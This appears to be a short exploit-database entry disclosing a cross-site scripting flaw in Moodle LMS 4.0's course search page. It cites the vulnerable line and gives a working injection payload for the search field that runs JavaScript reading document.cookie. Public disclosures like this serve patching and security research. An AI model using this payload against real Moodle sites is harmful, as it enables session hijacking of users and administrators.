# Exploit Title: Moodle LMS 4.0 - Cross-Site Scripting (XSS)
# Exploit Author: Saud Alenazi
# Vendor Homepage:
# Software Link:
# Version: 4.0
# Tested on: XAMPP, Windows 10
# Contact:


A Cross Site Scripting (XSS) vulnerability exists in Moodle is a free and open-source Learning Management System (LMS) written in PHP and distributed under the GNU General Public License

Vulnerable Code:

line 111 in file "course/search.php"

echo $courserenderer->search_courses($searchcriteria);

Steps to exploit:
1) Go to http://localhost/course/search.php
2) Insert your payload in the "search"

Proof of concept (Poc):
The following payload will allow you to run the javascript -
"><img src=# onerror=alert(document.cookie)>